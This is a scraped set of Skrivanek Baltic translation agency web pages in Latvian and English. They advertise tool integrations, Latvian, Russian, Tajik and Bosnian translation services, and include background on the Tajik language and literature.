sistēmas nodrošina ērtu un ātru datņu lejupielādēšanu un augšupielādēšanu SharePoint glabātuvēs. Šādi varat būt pārliecināti, ka visiem jūsu darba komandas biedriem ātri un vienkārši būs pieejami dokumenti vajadzīgajā valodā, kā arī varat aizmirst par laikietilpīgo informācijas apmaiņu ar e-pastu starpniecību. Vienkārši ievietojiet tulkojamās datnes SharePoint tiešsaistes repozitorijā un mēs parūpēsimies, lai pēc mirkļa šajā pašā tiešsaistes repozitorijā jūs varētu jau strādāt ar tulkotajiem dokumentiem. GOOGLE DRIVE Skrivanek tulkošanas sistēmu integrācija ar Google Drive ir ļoti ērts un vienkāršs veids, kā padarīt Google Drive mākoņpakalpojumā glabāto saturu pieejamu plašākai auditorijai. Tulkošanas sistēmu savienojums ar Google Drive nodrošina tulkojamo avota datņu lejupielādēšanu un tulkoto mērķa datņu augšupielādēšanu tieši personīgajā un kopīgotajā repozitorijā. Pateicoties Skrivanek tulkošanas sistēmu integrācijai ar Google Drive, varat neraizēties par datņu apmaiņu ar e-pasta vai trešo personu mākoņpakalpojumu starpniecību. DROPBOX Sinhronizējiet Dropbox mākoņpakalpojuma glabātuvē esošās mapes, datnes un projektus ar Skrivanek tulkošanas sistēmu. Šādi varat nosūtīt datnes tulkošanai un saņemt tulkotos dokumentus tieši uz personālā datora darbvirsmas. Skrivanek tulkošanas sistēma automātiski nosaka, kad tulkojamo dokumentu mapē ir ievietotas jaunas datnes vai veiktas kādas izmaiņas esošajās datnēs. Datnes tiek automātiski padotas uz tulkošanas darbplūsmu un pēc tulkošanas augšupielādētas mērķa datņu mapē. AMAZON S3 Glabājiet tulkojamos dokumentus sakārtotus, pieejamus un atjauninātus. Skrivanek tulkošanas sistēma automātiski noteiks, kad datnēs ir veiktas kādas izmaiņas un pados tās uz tulkošanas darbplūsmu. Pēc tulkošanas dokumenti tiks automātiski augšupielādēti jūsu Amazon S3 glabātuvē. Aizmirstiet par laikietilpīgu un grūti pārskatāmu dokumentu apmaiņu ar e-pasta starpniecību. JIRA Izveidojiet ērtu Jira palīdzības dienesta pieteikumu savienojumu ar Skrivanek tulkošanas sistēmu un saņemiet tulkojumus uzreiz jums ierastajā Jira vidē. ZENDESK Uzlabojiet atbalsta pieteikumu apstrādi un sadarbību ar starptautiskajiem klientiem. Skrivanek tulkošanas sistēma nodrošina ērtu un vienkāršu integrāciju ar Zendesk palīdzības dienesta sistēmu. Šādi varat ērti tulkot Zendesk pieteikumu kategorijas, saturu, publicētos rakstus un sadaļas. ADOBE COMMERCE Veiciniet uzņēmējdarbības attīstību, nodrošinot produktu aprakstus, katalogu saturu, rēķinu izrakstīšanas lapu un cita satura pieejamību klientu pārvaldītajās valodās. Skrivanek tulkošanas sistēma nodrošina integrāciju ar Magento Open Source un Magento Commerce sistēmām. ANDROID STUDIO Padariet daudzvalodu lietotņu izstrādi ērtu un vienkāršu ar Skrivanek tulkošanas sistēmas un Android Studio integrāciju. Automātiski nosūtiet tulkojamo tekstu no lietotnes izstrādes vides un saņemiet tulkojumu. Šādi varat būt pārliecināti, ka publicēšanas brīdi lietotne būs pieejama visās vēlamajās valodās. DRUPAL Sasniedziet plašāku tīmekļa vietnes auditoriju, nodrošinot Drupal vidē izstrādātas tīmekļa vietnes tulkošanu ar Skrivanek tulkošanas sistēmu. Mēs nodrošinām pilnīgu tulkošanas sistēmas integrāciju ar Drupal tīmekļa vietni, ļaujot ātri un ērti piedāvāt jaunāko tīmekļa vietnes saturu dažādās mērķa valodās. GITLAB Efektivizējiet programmatūras izstrādes procesu, automātiski nosūtot tulkojamo saturu uz Skrivanek tulkošanas sistēmu. Programmatūras pirmkoda repozitorijs tiek patstāvīgi uzraudzīts, un visi papildinājumi tiek automātiski pārsūtīti uz mūsu tulkošanas sistēmu. Šādi varat būt pārliecināti, ka publicēšanas brīdi lietotne būs pieejama visās jums vēlamajās valodās. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu VĒLATIES UZZINĀT VAIRĀK, KĀ SKRIVANEK VAR PALĪDZĒT STRĀDĀT GUDRĀK? RAKSTIET MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! --- > Looking for a professional LV to ENG/ENG to LV translation? Choose Skrivanek. Get online quote withing 30 minutes. High-quality results! - Published: 2023-08-15 - Modified: 2025-07-03 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ - Translation Priorities: Optional TRANSLATE INTO LATVIAN | LATVIAN TO ENGLISH TRANSLATION SERVICES If you need high-quality Latvian translation services, then look no further. Skrivanek Baltic is here to help. We are a team of skilled translators specialising in Latvian to English translations (LV to ENG) and English to Latvian translations (ENG to LV). Our expertise spans over various industries, including the industrial, technical, medical, and legal sectors. Whether you require standard or certified translations, we can do both. Our services extend to a wide range of documents, such as company agreements, invoices, catalogues, advertising slogans, reports, business correspondence, acts, powers of attorney, forms, and confidential materials. Our translators not only guarantee accuracy in terms of language but also ensure that the translated text is fit for purpose and culturally appropriate for the target audience. Our clients trust us to provide high-quality translations that meet their specific business needs. 10 REASONS FOR CHOOSING SKRIVANEK BALTIC FOR LATVIAN-TO-ENGLISH OR ENGLISH-TO-LATVIAN TRANSLATIONS Strict Data Security: All translations are performed within EU Member States, ensuring the confidentiality of your information. Support for Over 100 File Formats: We can handle various file formats, including PDF, JPG, IDML, JSON, and HTML, eliminating the need for you to convert your documents. Available in Over 110 Languages: Our comprehensive translation services cover more than 110 languages, so you don’t have to search for multiple agencies to handle your projects. Wide Range of Language Services: From document translation to movie subtitles, or localisation services for websites or applications, our translation agency offers a diverse range of language services. Quick and Easy Online Quotes: Say goodbye to waiting ages for an offer. We can provide you with a quote within just 30 minutes. Online Delivery: Receive your translated documents via email, including certified translations with qualified electronic signatures. We can send traditional paper translations back to you via mail or courier. Convenient Customer Portal: Keep track of everything in one place and stay informed about the progress of your project through our user-friendly customer portal. Quality Assurance: Rest assured that our translations meet the highest standards. We are ISO 9001 and 17100 certified, demonstrating our commitment to quality and precision. Expert Team of Translators: Skrivanek Baltic has a team of highly skilled and experienced translators specialising in Latvian-to-English and English-to-Latvian translations, who are native Latvian speakers. They have a deep understanding of both languages and cultural nuances, ensuring accurate and culturally appropriate translations. Dedicated Project Managers: Skrivanek Baltic assigns dedicated project managers to each translation project. They are responsible for overseeing the entire translation process, ensuring timely delivery, and addressing any questions or concerns you may have throughout the project. Their expertise and attention to detail ensure a smooth translation experience. Choose Skrivanek Baltic for reliable and professional Latvian translation services that meet your business needs. Get a free quote or ask for additional information! The Skrivanek Baltic team of expert linguists offers top-notch translations for businesses and individuals alike. Need help with a specific project? Get in touch today for a free quote or to ask for additional information. We look forward to working with you! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit HOW OUR LATVIAN TRANSLATION SERVICE WORKS --- > Our experienced translators provide professional translation services for texts into Russian and from Russian into English for businesses and individuals. - Published: 2023-07-04 - Modified: 2025-07-02 - URL: https://skrivanek.lv/en/professional-russian-to-english-and-english-to-russian-translation-services-for-businesses-and-individuals/ - Translation Priorities: Optional TRANSLATE INTO RUSSIAN | RUSSIAN TRANSLATION SERVICES Skrivanek Baltic provides professional translation services for texts into Russian and from Russian into English. Our team is comprised of experienced Russian language translators who specialise in various fields, enabling us to offer both standard and certified translations. Our translation services cater to businesses across sectors, including specific sectors like industrial, technical, medical, legal and many more. We handle the translation of various documents such as company agreements, invoices, catalogues, advertising slogans, reports, business correspondence, acts, powers of attorney, forms and other confidential materials. Our translators not only ensure linguistic accuracy but also ensure that the text is effective and culturally appropriate in terms of language and country. Our clients trust us for high-quality translation services that meet their business needs. WHY CHOOSE SKRIVANEK BALTIC IF YOU NEED TO TRANSLATE RUSSIAN TO ENGLISH OR ENGLISH TO RUSSIAN? Skrivanek Baltic provides reliable and professional language services to help you translate Russian to English or English to Russian. With years of experience, a team of skilled linguists and a commitment to client satisfaction, we can offer a solution for all your translation needs. WHY CHOOSE SKRIVANEK BALTIC: Strict data security – all translations are done in the EU Member States. Support for over 100 file formats – Whether it's PDF, JPG, IDML, JSON or HTML, we can handle it. No need to worry about converting your documents. Available in over 110 languages – Our translation services are comprehensive and handled by a single company. No need to look for another translation agency to take care of your project. A wide range of language services – From document translation to movie subtitles, website or application localisation services, the Skrivanek translation agency has got you covered. Quick and easy online quotes – Say goodbye to waiting for hours for an offer. We can prepare a quote in just 30 minutes. Completed online – Order a translation service and receive your translated documents by email, including certified translations with qualified electronic signatures. For traditional paper translations, we can send them back via mail or courier. Convenient customer portal – Keep track of everything in one place and stay on top of your project's progress. Quality assurance – Worried about the quality of our translations? Don't be. We're ISO 9001 and 17100 certified, proving our commitment to quality and precision. Get a free quote or ask for additional information! The Skrivanek Baltic team of expert linguists offers top-notch translations for businesses and individuals alike. Need help with a specific project? Get in touch today for a free quote or to ask for additional information. We look forward to working with you! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit WHEN IS HUMAN DOCUMENT TRANSLATION INTO RUSSIAN YOUR BEST CHOICE? Precise and thorough translation: When translating documents into Russian, human translators provide accurate and thorough translations. They are skilled at capturing the correct meaning, tone and cultural subtleties of the source language. Improved communication: With accurate translation, everyone involved can communicate better. Human translators ensure that everyone understands the document, minimising the risk of misunderstandings and improving overall communication. Adaptable to changes: Human translation can easily accommodate any necessary changes. If revisions need to be made, a human translator can easily modify the text to ensure that it remains accurate. Expertise in specific fields: Our Skrivanek translators have specialised knowledge in various industries and are familiar with the technical language that is unique to those fields. This allows for precise translations of complex documents. Genuine and culturally sensitive: Human translation provides authentic and culturally sensitive translations. Native Russian-speaking translators provide valuable context and ensure that the text portrays the appropriate tone and cultural references. HOW TO REDUCE DOCUMENT TRANSLATION COSTS TO/FROM RUSSIAN WITHOUT SACRIFICING QUALITY? Choose a reliable translation service: One way to reduce document translation costs to/from Russian is to choose a reliable and experienced translation service. They can offer you a competitive pricing structure and ensure high-quality translations. Simplify the source text: The simpler the source text, the easier it is to translate, reducing the need for linguistic research and review. Simplified text also makes translation easier, faster and more accurate, thereby reducing the time and effort required. Provide context and support materials: Providing context and support materials, such as glossaries and reference materials, can significantly reduce translation costs by enabling translators to work quickly and more accurately. Context also helps translators to understand the nuances and meanings of words and phrases. Choose the right file type: Choosing the right file type can also help manage translation costs. Text files, like . doc, . txt and . rtf, are preferred because they are easy to access, translate and review. Crisp, clear and legible text can help translators work more efficiently, speeding up the overall translation process and reducing your translation costs. IS IT POSSIBLE TO ORGANISE A CERTIFIED TRANSLATION FROM ENGLISH TO RUSSIAN ONLINE, NOT COMING TO THE OFFICE? Certified translation from English to Russian can be organised online by sending an . edoc file (the electronically signed document) to Skrivanek Baltic. The notarised translation will be sent back in . edoc format, signed by the translator and notarised by a sworn notary with an e-signature. This process is suitable for documents issued by institutions like the Information Centre, State Revenue Service or Enterprise Register. Request a quote: Contact Skrivanek and request a quote for your certified translation needs. Be sure to provide all the necessary information, such as the type of document, the number of words and the deadline. Send the document: Email or upload the document to our website. Ensure you provide clear instructions on any formatting requirements or special considerations. Review and approve the translation: Once the translation is completed, we will send you the translated document for review. If there are any corrections or changes needed, let us know. Receive the certified translation: After the final review and approval, we will send you the certified translation via email or mail. HOW OUR RUSSIAN TRANSLATION SERVICE WORKS --- > Dažādu dokumentu, tekstu tulkojumi tadžiku valodā. Pasākumu un tikšanos tulkojumi. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! - Published: 2023-05-23 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-tadziku-valoda/ - Translation Priorities: Optional TULKOJUMI TADŽIKU VALODĀ / TULKOT TADŽIKU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus, korektūru, tekstu stilistisko uzlabošanu. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu tulkojumi. uz un no tadžiku valodas. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TADŽIKU VALODĀ: dažādu dokumentu tulkošana tadžiku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tadžiku valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tadžiku valodā; individuālie tadžiku valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus tadžiku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI TADŽIKU VALODĀ / TULKOT TADŽIKU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus, korektūru, tekstu stilistisko uzlabošanu. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu tulkojumi. uz un no tadžiku valodas. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TADŽIKU VALODĀ: dažādu dokumentu tulkošana tadžiku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tadžiku valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tadžiku valodā; individuālie tadžiku valodas kursi. Meklējiet valodu risinājumus tadžiku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt 10 FRĀZES, KO APGŪT TADŽIKU VALODĀ Хуш омадӣ! – Huš omadī! (Laipni lūdzam! ) Салом! – Salom! (Sveiki! ) Шумо чи xeл? – Šymo či xel? (Kā klājas? ) Хеле вакт шуд надида будем. – Hele vakt šud nadida budem. (Sen neesam tikušies. ) Hоми шумо чист? – Nomi šumo čist? (Kā tevi sauc? ) Ман аз ... хастам. – vvMan az ... hastam. (Esmu no ... . ) Барори кор! – Barori kor! (Lai veicas! ) Рахмат! – Raxmat! (Paldies! ) Лутфан – Lutfan (Lūdzu! ) Рӯзи хуш! – Rūzi xuš! (Veiksmīgu dienu! ) TADŽIKU VALODA VALODU SAIMĒ Tadžiku valoda, kas pieder pie indoeiropiešu valodu saimes, ir bāzēta ziemeļrietumu tadžiku Samarkandas dialektā, bet ir tik cieši saistīta ar Irānā un Afganistānā runāto persiešu valodu, ka dažkārt tiek uzskatīta par persiešu valodas dialektu. Atšķirības starp tadžiku un persiešu valodu vērojamas arī leksikā, jo tadžiki vārdus, kas saistīti ar politiku, kultūru, tehniskiem terminiem, aizņēmušies no krievu valodas, savukārt persiešu valodu vairāk ietekmējušas Rietumeiropas valodas. Vienlaikus tadžiku valodas lietotāju dabiskās nošķirtības dēļ Vidusāzijas kalnos, tadžiku valoda saglabājusi arī virkni arhaisku leksikas elementu, ko vairs citur persiešu valodā un tās dialektos nelieto. KUR RUNĀ TADŽIKU VALODĀ? Pēc WorldData informācijas Tadžiku valodā runā 8 miljoni cilvēku, no kuriem 6 miljoni ir Tadžikistānā, kur tadžiku valoda ir valsts valoda, bet 1,5 miljoni – Uzbekistānā. Tadžiku valoda ir arī oficiāla reģionālā valoda Afganistānā. TADŽIKU VALODAS VARIĀCIJAS Tadžiku valodā var izšķirt vairākas dialektu grupas: ziemeļu dialekts, centrālais dialekts, dienvidu dialekts, dienvidaustrumu dialekts. Tadžiku literārās valodas pamatā ir ziemeļu dialekts, kurā runā Tadžikistānas ziemeļos un rietumos, kā arī Uzbekistānas dienvidos. TADŽIKU VALODAS ALFABĒTS Līdz pat 1920. gadam islāma ietekmes dēļ tadžiku valodas rakstībā tika izmantots persiešu alfabēts. Pēc Tadžikistānas pievienošanas PSRS, Padomju Savienība sāka ar persiešu alfabēta vienkāršošanu, vēlāk mēģināja ieviest latīņu rakstību. Kirilicas ieviešana sākās 20. gs. 30. gadu beigās līdz ar rusifikācijas programmas attīstīšanu Vidusāzijā. Alfabēts saglabājās kirilicā līdz Padomju Savienības sabrukumam. 1989. gadā, pieaugot tadžiku nacionālismam, tika pieņemts likums par tadžiku kā valsts valodu, aicinot arī pakāpeniski atjaunot perso-arābu alfabētu. Tomēr joprojām kirilica ir de facto standarts, kamēr arābu rakstībā lasa un raksta ļoti neliels tadžiku skaits. Pavisam nesen Tadžikistānas valdība uzsākusi mēģinājumos atgriezties pie latīņu alfabēta. TADŽIKU VALODAS VĒSTURE Tadžiku valodas saknes var meklēt mūsdienu Afganistānas, Irānas, Uzbekistānas un Tadžikistānas teritorijā, kur attīstījās persiešu valoda un vēlāk dažādas persiešu valodas formas, kurās runā Irānā, Afganistānā un Tadžikistānā. Kad 8. gs. arābi iekaroja Irānas un lielāko daļu Centrālāzijas, uz laiku arābu valoda kļuva par galma valodu, bet persiešu un irāņu valodas tika izmantotas tikai privātajā sfērā. Šajā laikā aizsākas arī perso-arābu rakstības forma. Jaunā persiešu valoda uz ilgu laiku kļuva par Vidusāzijas saziņas valodu, taču, pieaugot turku cilšu skaitam, kas pārnāca uz šo reģionu no austrumiem, tā zaudēja savu ietekmi un kopš 16. gs. nonāca zem turku valodu spiediena. Tādās Turkmenistānas daļās, kur savulaik runāts tadžiku valodā, šobrīd tā vairs neeksistē. Krievijas impērijas īstenotās turkizācijas rezultātā arī Uzbekistānas apgabalos tadžiku valoda tika aizstāsta, taču tā saglabājās lielā daļā teritorijas, kas ir mūsdienu Tadžikistāna. Padomju Savienības laikā kaut kādā mērā tadžiku valoda tika nosargāta ar Tadžikistānas Padomju Sociālistiskās Republikas izveidošanu, jo līdzās krievu valodai oficiālā valoda bija arī tadžiku valoda. Pēc Padomju Savienības izjukšanas un Tadžikistānas neatkarības izveidošanas, tās valdība pielikusi ievērojamas pūles, lai veicinātu tadžiku valodas lietojumu gan sabiedriskajā, gan privātajā dzīvē, jo Tadžikistāna ir viena no savulaik visspēcīgāk rusificētajām teritorijām. Arī šobrīd Tadžikistānā līdzās tadžiku valodai oficiālā valsts valoda ir arī krievu. TADŽIKU LITERATŪRA Tadžiku literatūra un dzeja attīstījusies pretrunīgos vēstures griežos, tomēr mūsdienās tā ir viena no spilgtākajām un skaistākajām Tadžikistānas kultūras izpausmēm. Vietējās dzejas un prozas vēsture ir nesaraujami saistīta ar Irānas, Indijas un Uzbekistānas literatūru. Reģionā šķelšanās sākās 16. gs. , kad Persijā pie varas nāca šiītu musulmaņi un Vidusāzijā turpināja valdīt sunnītu musulmaņi. Šajā laikā tadžiku literatūra sāka atdalīties no persiešu literatūras, lai izstrādātu savu stilu. Literatūra Tadžikistānā vienmēr atspoguļojusi vietējo politisko un kultūras klimatu, kas gadsimtu gaitā izpaudies dažādi. Atkarībā laikmeta rakstnieku uzmanības centrā bija filozofisku ideju attīstīšana, valdnieku ekstrēmisms, varas iestāžu kritizēšana un apskaidrības ideju apspriešana, līdz visbeidzot – realitātes un mūsdienu dzīves tēlojums. Tomēr nemainīgi saglabājusies tadžiku literatūras un dzejas noteicošā iezīme – poētisko tradīciju saglabāšana. TADŽIKU FOLKLORA Lai arī folklora vairāk nekā 2000 gadu tiek uzskatīta par tadžiku literatūras pamatu, tās vēsturisko vērtību ir grūti pilnībā novērtēt, jo rakstiskā formā tā parādījās tikai 19. gs. Pirmoreiz tadžiku folklora pieminēta arābu hronikās, kas datētas ar 789. gadu. Agrīnajā folklorā jūtama ietekme no Avesta – svēto tekstu krājuma zoroastrismā, dziesmās atklājas cilvēka un dabas attiecības, cīņa starp gaismu un tumsu un smaga darba vērtība. Ar laiku sāka veidoties arī citi žanri, tostarp dzeja, rituāla dziesmas, līdzības un pasakas. TADŽIKU LITERATŪRAS AIZSĀKUMI Reliģiskā un politiskā sašķelšanās starp sunnītiem un šiītiem 16. gs. atnesa monumentālas pārmaiņas tadžiku literatūrā, piemēram, feodālās kārtības kritiku vietējos darbos. Rakstīšanas stiliem kļūstot daudzveidīgākiem un pat pretrunīgākiem, izveidojās satīras žanrs. 17. –18. gs. uz tadžiku autoriem spēcīgu ietekmi atstāja Indijā dzīvojošais persiešu dzejnieks Abdula Bēdils, kura darbi ir piesātināti ar islāma atzara – sūfisma –filozofijas idejām, kuras pamatā ir idejas par iekšējās esības attīrīšanu un saplūšanu ar dievišķo. MŪSDIENU TADŽIKU PROZA UN DZEJA Padomju Savienības režīms korekcijas gan ar socreālisma virziena idejām, gan krievu valodas ietekmi plašāk ienesa 20. gs. otrajā pusē. Lai arī tieši šajā laikā izveidojas, piemēram, dramaturģija, daudzi vietējie autori turpina pieturēties pie klasiska tadžiku rakstības stila, kas piepildīts ar folkloras stāstiem un mītisku naratīvu. Pēc neatkarības iegūšanas vietējās literatūras attīstība dažus gadus stagnēja, līdz autori pamazām atgriezās pie rakstniecības tadžiku valodā. Tā kā mūsdienu tadžiku rakstnieki bieži vien nevar atļauties izdot grāmatas, viņu darbi parasti tiek izplatīti sociālajos tīklos vai ievietoti personīgajos blogos. Šodien valstī pieejami visdažādākie žanri, starp populārākajiem ir vēsturiskie romāni. Pateicoties līdzībām starp tadžiku un dari un persiešu valodām, tadžiku proza un dzeja izpelnījusies interesi arī Afganistānā un Irānā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TADŽIKU VALODĀ: dažādu dokumentu tulkošana tadžiku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tadžiku valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tadžiku valodā; individuālie tadžiku valodas kursi. TADŽIKU VALODAS KOMBINĀCIJAS: tadžiku–latviešu; latviešu–tadžiku; tadžiku–lietuviešu; lietuviešu–tadžiku; igauņu–tadžiku; tadžiku–igauņu; krievu–tadžiku; tadžiku–krievu; poļu–tadžiku; tadžiku–poļu; ukraiņu–tadžiku; tadžiku–ukraiņu; čehu–tadžiku; tadžiku–čehu; vācu–tadžiku; tadžiku–vācu; spāņu–tadžiku; tadžiku–spāņu; franču–tadžiku; tadžiku–franču; itāļu–tadžiku; tadžiku–itāļu; dāņu–tadžiku; tadžiku–dāņu; zviedru–tadžiku; tadžiku–zviedru; norvēģu–tadžiku; tadžiku–norvēģu; somu–tadžiku; tadžiku–somu; tadžiku–arābu; arābu–tadžiku; tadžiku–armēņu, armēņu–tadžiku; tadžiku–baltkrievu, baltkrievu–tadžiku; bulgāru–tadžiku, tadžiku–bulgāru; tadžiku–ebreju, ebreju–tadžiku, tadžiku–grieķu, grieķu–tadžiku; tadžiku–gruzīnu; gruzīnu–tadžiku; tadžiku–hindi; hindi–tadžiku; tadžiku–holandiešu; holandiešu–tadžiku; tadžiku–korejiešu; korejiešu–tadžiku; tadžiku–kurdu; kurdu–tadžiku; tadžiku–ķīniešu; ķīniešu–tadžiku; tadžiku–portugāļu; portugāļu–tadžiku; tadžiku–rumāņu; rumāņu–tadžiku; tadžiku–slovāku; slovāku–tadžiku; tadžiku–slovēņu; slovēņu–tadžiku; tadžiku–turku; turku–tadžiku; tadžiku–ungāru; ungāru–tadžiku u. c. --- > Dažādu tekstu un dokumentu tulkojumi boesniešu valodā ar vai bez notariālu apliecinājumu. Tulka pakalpojumi pasākumos un tikšanās. - Published: 2023-05-23 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-bosniesu-valoda/ - Translation Priorities: Optional TULKOJUMI UN CITI PAKALPOJUMI BOSNIEŠU VALODĀ / TULKOT BOSNIEŠU VALODĀ Tulkošanas birojs un mācību centrs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus. Mēs piedāvājam arī korektūru, stilistisko uzlabošanu un SEO satura veidošanu, un mūsu valodas speciālisti priecāsies pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuāli personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības, medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BOSNIEŠU VALODĀ: dažādu dokumentu tulkošana bosniešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bosniešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi bosniešu valodā; individuālie bosniešu valodas kursi Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu 